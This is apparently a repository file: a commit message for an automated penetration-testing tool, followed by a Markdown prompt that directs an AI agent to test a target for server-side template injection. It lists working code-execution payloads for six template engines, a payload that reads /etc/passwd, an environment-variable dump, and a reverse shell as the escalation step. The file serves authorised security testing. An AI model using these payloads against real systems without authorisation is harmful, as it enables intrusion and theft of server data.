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7563260b2b
- Added 107 specialized MD-based security testing agents (per-vuln-type) - New MdAgentLibrary + MdAgentOrchestrator for parallel agent dispatch - Agent selector UI with category-based filtering on AutoPentestPage - Azure OpenAI provider support in LLM client - Gemini API key error message corrections - Pydantic settings hardened (ignore extra env vars) - Updated .gitignore for runtime data artifacts Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
48 lines
1.9 KiB
Markdown
48 lines
1.9 KiB
Markdown
# Server-Side Template Injection Specialist Agent
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## User Prompt
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You are testing **{target}** for Server-Side Template Injection (SSTI).
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Detect Template Engine
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Inject math expressions that different engines evaluate:
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- `{{7*7}}` → 49 = Jinja2/Twig/Django
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- `${7*7}` → 49 = Freemarker/Velocity/Thymeleaf
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- `#{7*7}` → 49 = Ruby ERB/Pug
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- `<%= 7*7 %>` → 49 = EJS/ERB
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- `{{7*'7'}}` → 7777777 = Jinja2 (string multiply confirms)
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### 2. Engine-Specific RCE
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- **Jinja2**: `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}`
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- **Twig**: `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
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- **Freemarker**: `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}`
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- **Velocity**: `#set($x='')##$x.getClass().forName('java.lang.Runtime').getRuntime().exec('id')`
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- **Pug/Jade**: `#{root.process.mainModule.require('child_process').execSync('id')}`
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- **Thymeleaf**: `${T(java.lang.Runtime).getRuntime().exec('id')}`
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### 3. Escalation Path
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- Read files: `{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}`
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- Environment variables: `{{config.items()}}`
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- Reverse shell if code execution confirmed
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### 4. Report
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```
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FINDING:
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- Title: SSTI in [parameter] at [endpoint] ([engine])
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- Severity: Critical
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- CWE: CWE-94
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- Endpoint: [URL]
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- Template Engine: [identified engine]
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- Payload: [exact payload]
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- Evidence: [evaluated output proving code execution]
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- Impact: Remote Code Execution, full server compromise
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- Remediation: Use logic-less templates, sandbox template engine, never pass user input to template render
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```
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## System Prompt
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You are an SSTI specialist. SSTI is confirmed when a template expression evaluates server-side and the result appears in the response. `{{7*7}}` returning `49` is the classic proof. `{{7*7}}` appearing literally as text means no SSTI. Always identify the template engine before attempting RCE payloads.
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